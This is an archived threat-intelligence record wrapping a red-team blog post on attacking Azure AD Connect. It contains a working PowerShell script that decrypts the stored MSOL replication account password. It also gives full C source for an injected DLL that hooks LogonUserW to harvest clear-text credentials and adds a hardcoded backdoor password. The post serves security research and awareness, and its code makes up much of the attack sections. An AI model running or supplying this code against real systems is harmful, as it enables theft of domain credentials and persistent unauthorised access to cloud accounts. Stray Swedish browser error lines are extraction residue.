{
	"id": "e1094091-49ab-4f5b-99f7-413d07dfbcc2",
	"created_at": "2026-04-06T00:06:42.413294Z",
	"updated_at": "2026-04-10T03:20:50.876245Z",
	"deleted_at": null,
	"sha1_hash": "71cbee0ea90bf48c214b2c90584b0f6106ae556e",
	"title": "Azure AD Connect for Red Teamers",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1217325,
	"plain_text": "Azure AD Connect for Red Teamers\r\nBy Adam Chester\r\nArchived: 2026-04-05 23:17:04 UTC\r\n« Back to home\r\nPosted on 18th February 2019\r\nWith clients increasingly relying on cloud services from Azure, one of the technologies that has been my radar for\r\na while is Azure AD. For those who have not had the opportunity to work with this, the concept is simple, by\r\nextending authentication beyond on-prem Active Directory, users can authenticate with their AD credentials\r\nagainst Microsoft services such as Azure, Office365, Sharepoint, and hundreds of third party services which\r\nsupport Azure AD.\r\nIf we review the available documentation, Microsoft show a number of ways in which Azure AD can be\r\nconfigured to integrate with existing Active Directory deployments. The first, and arguably the most interesting is\r\nPassword Hash Synchronisation (PHS), which uploads user accounts and password hashes from Active Directory\r\ninto Azure. The second method is Pass-through Authentication (PTA) which allows Azure to forwarded\r\nauthentication requests onto on-prem AD rather than relying on uploading hashes. Finally we have Federated\r\nAuthentication, which is the traditional ADFS deployment which we have seen numerous times.\r\nNow of course some of these descriptions should get your spidey sense tingling, so in this post we will explore\r\njust how red teamers can leverage Azure AD (or more specifically, Azure AD Connect) to meet their objectives.\r\nBefore I continue I should point out that this post is not about exploiting some cool 0day. It is about raising\r\nawareness of some of the attacks possible if an attacker is able to reach a server running Azure AD Connect. If you\r\nare looking for tips on securing your Azure AD Connect deployment, Microsoft has done a brilliant job of\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 1 of 16\n\ndocumenting not only configuration and hardening recommendations, but also a lot about the internals of how\r\nAzure AD’s options work under the hood.\r\nSetting up our lab\r\nBefore we start to play around with Azure AD, we need a lab to simulate our attacks. To create this, we will use:\r\n1. A VM running Windows Server 2016\r\n2. An Azure account with the Global administrator role assigned within Azure AD\r\n3. Azure AD Connect\r\nFirst you’ll need to set up an account in Azure AD with Global administrator privileges, which is easily done via\r\nthe management portal:\r\nOnce we have an account created, we will need to install the Azure AD Connect application on a server with\r\naccess to the domain. Azure AD Connect is the service installed within the Active Directory environment. It is\r\nresponsible for syncing and communicating with Azure AD and is what the majority of this post will focus on.\r\nTo speed up the installation process within our lab we will use the “Express Settings” option during the Azure AD\r\nConnect installation which defaults to Password Hash Synchronisation:\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 2 of 16\n\nWith the installation of Azure AD Connect complete, you should get a notification like this:\r\nAnd with that, let’s start digging into some of the internals, starting with PHS.\r\nPHS… smells like DCSync\r\nTo begin our analysis of PHS, we should look at one of the assemblies responsible for handling the\r\nsynchronisation of password hashes, Microsoft.Online.PasswordSynchronization.dll . This assembly can be\r\nfound within the default installation path of Azure AD Sync C:\\Program Files\\Microsoft Azure AD Sync\\Bin .\r\nHunting around the classes and methods exposed, there are a few interesting references:\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 3 of 16\n\nAs you are likely aware, DRS (Directory Replication Services) prefixes a number of API’s which facilitate the\r\nreplication of objects between domain controllers. DRS is also used by another of our favourite tools to recover\r\npassword hashes… Mimikatz.\r\nSo what we are actually seeing here is just how Azure AD Connect is able to retrieve data from Active Directory\r\nto forward it onto Azure AD. So what does this mean to us? Well as we know, to perform a DCSync via Mimikatz,\r\nan account must possess the “Replicating Directory Changes” permission within AD. Referring back to Active\r\nDirectory, we can see that a new user is created during the installation of Azure AD Connect with the username\r\nMSOL_[HEX] . After quickly reviewing its permissions, we see what we would expect of an account tasked with\r\nreplicating AD:\r\nSo how do we go about gaining access to this account? The first thing that we may consider is simply nabbing the\r\ntoken from the Azure AD Connect service or injecting into the service with Cobalt Strike… Well Microsoft have\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 4 of 16\n\nalready thought of this, and the service responsible for DRS (Microsoft Azure AD Sync) actually runs as NT\r\nSERVICE\\ADSync , so we’re going to have a work a bit harder to gain those DCSync privileges.\r\nNow by default when deploying the connector a new database is created on the host using SQL Server’s\r\nLOCALDB. To view information on the running instance, we can use the installed SqlLocalDb.exe tool:\r\nThe database supports the Azure AD Sync service by storing metadata and configuration data for the service.\r\nSearching we can see a table named mms_management_agent which contains a number of fields including\r\nprivate_configuration_xml . The XML within this field holds details regarding the MSOL user:\r\nAs you will see however, the password is omitted from the XML returned. The encrypted password is actually\r\nstored within another field, encrypted_configuration . Looking through the handling of this encrypted data\r\nwithin the connector service, we see a number of references to an assembly of C:\\Program Files\\Microsoft\r\nAzure AD Sync\\Binn\\mcrypt.dll which is responsible for key management and the decryption of this data:\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 5 of 16\n\nTo decrypt the encrypted_configuration value I created a quick POC which will retrieve the keying material\r\nfrom the LocalDB instance before passing it to the mcrypt.dll assembly to decrypt:\r\nWrite-Host \"AD Connect Sync Credential Extract POC (@_xpn_)`n\"\r\n$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList \"Data Source=\r\n(localdb)\\.\\ADSync;Initial Catalog=ADSync\"\r\n$client.Open()\r\n$cmd = $client.CreateCommand()\r\n$cmd.CommandText = \"SELECT keyset_id, instance_id, entropy FROM mms_server_configuration\"\r\n$reader = $cmd.ExecuteReader()\r\n$reader.Read() | Out-Null\r\n$key_id = $reader.GetInt32(0)\r\n$instance_id = $reader.GetGuid(1)\r\n$entropy = $reader.GetGuid(2)\r\n$reader.Close()\r\n$cmd = $client.CreateCommand()\r\n$cmd.CommandText = \"SELECT private_configuration_xml, encrypted_configuration FROM\r\nmms_management_agent WHERE ma_type = 'AD'\"\r\n$reader = $cmd.ExecuteReader()\r\n$reader.Read() | Out-Null\r\n$config = $reader.GetString(0)\r\n$crypted = $reader.GetString(1)\r\n$reader.Close()\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 6 of 16\n\nadd-type -path 'C:\\Program Files\\Microsoft Azure AD Sync\\Bin\\mcrypt.dll'\r\n$km = New-Object -TypeName\r\nMicrosoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager\r\n$km.LoadKeySet($entropy, $instance_id, $key_id)\r\n$key = $null\r\n$km.GetActiveCredentialKey([ref]$key)\r\n$key2 = $null\r\n$km.GetKey(1, [ref]$key2)\r\n$decrypted = $null\r\n$key2.DecryptBase64ToString($crypted, [ref]$decrypted)\r\n$domain = select-xml -Content $config -XPath \"//parameter[@name='forest-login-domain']\" | select\r\n@{Name = 'Domain'; Expression = {$_.node.InnerXML}}\r\n$username = select-xml -Content $config -XPath \"//parameter[@name='forest-login-user']\" | select\r\n@{Name = 'Username'; Expression = {$_.node.InnerXML}}\r\n$password = select-xml -Content $decrypted -XPath \"//attribute\" | select @{Name = 'Password';\r\nExpression = {$_.node.InnerText}}\r\nWrite-Host (\"Domain: \" + $domain.Domain)\r\nWrite-Host (\"Username: \" + $username.Username)\r\nWrite-Host (\"Password: \" + $password.Password)\r\nAnd when executed, the decrypted password for the MSOL account will be revealed:\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 7 of 16\n\nSo what are the requirements to complete this exfiltration of credentials? Well we will need to have access to the\r\nLocalDB (if configured to use this DB), which by default holds the following security configuration:\r\nThis means that if you are able to compromise a server containing the Azure AD Connect service, and gain access\r\nto either the ADSyncAdmins or local Administrators groups, what you have is the ability to retrieve the\r\ncredentials for an account capable of performing a DCSync:\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 8 of 16\n\nUpdate 12/04/2020 - Due to changes in the way which Azure AD Sync now stores its keys, access to the service\r\naccount (ADSync by default) or the Credential Manager of the service account is now required to decrypt the\r\nconfiguration. One way to work around this using tools such as Cobalt Strike is to simply inject into a process\r\nrunning under the ADSync process and continue with the above POC. Alternatively we can take advantage of the\r\nfact that the LocalDB instance is in-fact running as the “ADSync” user, meaning that a simple bit of\r\nxp_cmdshell magic is all we need to resume our decryption method. A new POC to leverage this can be found\r\nhere.\r\nPass Through Authentication\r\nWith the idea of password hashes being synced outside of an organisation being unacceptable to some, Azure AD\r\nalso supports Pass Through Authentication (PTA). This option allows Azure AD to forward authentication requests\r\nonto the Azure AD Connect service via Azure ServiceBus, essentially transferring responsibility to Active\r\nDirectory.\r\nTo explore this a bit further, let’s reconfigure our lab to use Pass Through Authentication:\r\nOnce this change has pushed out to Azure, what we have is a configuration which allows users authenticating via\r\nAzure AD to have their credentials validated against an internal Domain Controller. This is nice compromise for\r\ncustomers who are looking to allow SSO but do not want to upload their entire AD database into the cloud.\r\nThere is something interesting with PTA however, and that is how authentication credentials are sent to the\r\nconnector for validation. Let’s take a look at what is happening under the hood.\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 9 of 16\n\nThe first thing that we can see are a number of methods which handle credential validation:\r\nAs we start to dig a bit further, we see that these methods actually wrap the Win32 API LogonUserW via pinvoke:\r\nAnd if we attach a debugger, add a breakpoint on this method, and attempt to authenticate to Azure AD, we will\r\nsee this:\r\nThis means that when a user enters their password via Azure AD with PTA configured, their credentials are being\r\npassed un-hashed onto the connector which then validates them against Active Directory. So what if we\r\ncompromise a server responsible for Azure AD Connect? Well this gives us a good position to start syphoning off\r\nclear-text AD credentials each time someone tries to authenticate via Azure AD.\r\nSo just how do we go about grabbing data out of the connector during an engagement?\r\nAs we saw above, although the bulk of the logic takes place in .NET, the actual authentication call to validate\r\ncredentials passed from Azure AD is made using the unmanaged Win32 API LogonUserW . This gives us a nice\r\nplace to inject some code and redirect calls into a function that we control.\r\nTo do this we will need to make use of the SeDebugPrivilege to grab a handle to the service process (as this is\r\nrunning under the NT SERVICE\\ADSync ). Typically SeDebugPrivilege is only available to local administrators,\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 10 of 16\n\nmeaning that you will need to gain local admin access to the server to modify the running process.\r\nBefore we add our hook, we need to take a look at just how LogonUserW works to ensure that we can restore the\r\ncall to a stable state once our code has been executed. Reviewing advapi32.dll in IDA, we see that LogonUser\r\nis actually just a wrapper around LogonUserExExW :\r\nIdeally we don’t want to be having to support differences between Windows versions by attempting to return\r\nexecution back to this function, so going back to the connector’s use of the API call we can see that all it actually\r\ncares about is if the authentication passes or fails. This allows us to leverage any other API which implements the\r\nsame validation (with the caveat that the call doesn’t also invoke LogonUserW ). One API function which matches\r\nthis requirement is LogonUserExW .\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 11 of 16\n\nThis means that we can do something like this:\r\n1. Inject a DLL into the Azure AD Sync process.\r\n2. From within the injected DLL, patch the LogonUserW function to jump to our hook.\r\n3. When our hook is invoked, parse and store the credentials.\r\n4. Forward the authentication request on to LogonUserExW.\r\n5. Return the result.\r\nI won’t go into the DLL injection in too much detail as this is covered widely within other blog posts, however the\r\nDLL we will be injecting will look like this:\r\n#include \u003cwindows.h\u003e\r\n#include \u003cstdio.h\u003e\r\n// Simple ASM trampoline\r\n// mov r11, 0x4142434445464748\r\n// jmp r11\r\nunsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff,\r\n0xe3 };\r\nBOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD\r\nlogonType, DWORD logonProvider, PHANDLE hToken);\r\nHANDLE pipeHandle = INVALID_HANDLE_VALUE;\r\nvoid Start(void) {\r\nDWORD oldProtect;\r\n// Connect to our pipe which will be used to pass credentials out of the connector\r\nwhile (pipeHandle == INVALID_HANDLE_VALUE) {\r\npipeHandle = CreateFileA(\"\\\\\\\\.\\\\pipe\\\\azureadpipe\", GENERIC_READ | GENERIC_WRITE, 0, NULL,\r\nOPEN_EXISTING, 0, NULL);\r\nSleep(500);\r\n}\r\nvoid *LogonUserWAddr = GetProcAddress(LoadLibraryA(\"advapi32.dll\"), \"LogonUserW\");\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 12 of 16\n\nif (LogonUserWAddr == NULL) {\r\n// Should never happen, but just incase\r\nreturn;\r\n}\r\n// Update page protection so we can inject our trampoline\r\nVirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, \u0026oldProtect);\r\n// Add our JMP addr for our hook\r\n*(void **)(trampoline + 2) = \u0026LogonUserWHook;\r\n// Copy over our trampoline\r\nmemcpy(LogonUserWAddr, trampoline, sizeof(trampoline));\r\n// Restore previous page protection so Dom doesn't shout\r\nVirtualProtect(LogonUserWAddr, 0x1000, oldProtect, \u0026oldProtect);\r\n}\r\n// The hook we trampoline into from the beginning of LogonUserW\r\n// Will invoke LogonUserExW when complete, or return a status ourselves\r\nBOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD\r\nlogonType, DWORD logonProvider, PHANDLE hToken) {\r\nPSID logonSID;\r\nvoid *profileBuffer = (void *)0;\r\nDWORD profileLength;\r\nQUOTA_LIMITS quota;\r\nbool ret;\r\nWCHAR pipeBuffer[1024];\r\nDWORD bytesWritten;\r\nswprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L\"%s\\\\%s - %s\", domain, username, password);\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 13 of 16\n\nWriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), \u0026bytesWritten, NULL);\r\n// Forward request to LogonUserExW and return result\r\nret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, \u0026logonSID,\r\n\u0026profileBuffer, \u0026profileLength, \u0026quota);\r\nreturn ret;\r\n}\r\nBOOL APIENTRY DllMain( HMODULE hModule,\r\nDWORD ul_reason_for_call,\r\nLPVOID lpReserved\r\n)\r\n{\r\nswitch (ul_reason_for_call)\r\n{\r\ncase DLL_PROCESS_ATTACH:\r\nStart();\r\ncase DLL_THREAD_ATTACH:\r\ncase DLL_THREAD_DETACH:\r\ncase DLL_PROCESS_DETACH:\r\nbreak;\r\n}\r\nreturn TRUE;\r\n}\r\nAnd when executed, we can see that credentials are now harvested each time a user authenticates via Azure AD:\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 14 of 16\n\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nBackdoor LogonUser\r\nOK, so we have seen how to retrieve credentials, but what about if we actually want to gain access to an Azure AD\r\nsupported service? Well at this stage we control LogonUserW , and more importantly, we control its response, so\r\nhow about we insert a backdoor to provide us access.\r\nWithin our DLL code, let’s add a simple check for a hardcoded password:\r\nBOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, P\r\nPSID logonSID;\r\nvoid *profileBuffer = (void *)0;\r\nDWORD profileLength;\r\nQUOTA_LIMITS quota;\r\nbool ret;\r\nWCHAR pipeBuffer[1024];\r\nDWORD bytesWritten;\r\nswprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L\"%s\\\\%s - %s\", domain, username, password);\r\nWriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), \u0026bytesWritten, NULL);\r\n// Backdoor password\r\nif (wcscmp(password, L\"ComplexBackdoorPassword\") == 0) {\r\n// If password matches, grant access\r\nreturn true;\r\n}\r\n// Forward request to LogonUserExW and return result\r\nret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, \u0026logonSID, \u0026profileBuf\r\nreturn ret;\r\n}\r\nObviously you can implement a backdoor as complex or as simple as you want, but let’s see how this looks when\r\nattempting to authenticate against O365:\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 15 of 16\n\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nSo what are the takeaways from this? Well first of all, it means for us as red teamers, targeting Azure AD Connect\r\ncan help to expedite the domain admin chase. Further, if the objectives of the assessment are within Azure or\r\nanother services integrated with Azure AD, we have the potential to work around authentication for any account\r\nwhich passes an authentication request via PTA.\r\nThat being said, there is a lot of configuration and alternate options available when deploying Azure AD, so I’m\r\nkeen to see any further research on just how red teamers can leverage this service.\r\nSource: https://blog.xpnsec.com/azuread-connect-for-redteam/\r\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://blog.xpnsec.com/azuread-connect-for-redteam/"
	],
	"report_names": [
		"azuread-connect-for-redteam"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434002,
	"ts_updated_at": 1775791250,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/71cbee0ea90bf48c214b2c90584b0f6106ae556e.pdf",
		"text": "https://archive.orkl.eu/71cbee0ea90bf48c214b2c90584b0f6106ae556e.txt",
		"img": "https://archive.orkl.eu/71cbee0ea90bf48c214b2c90584b0f6106ae556e.jpg"
	}
}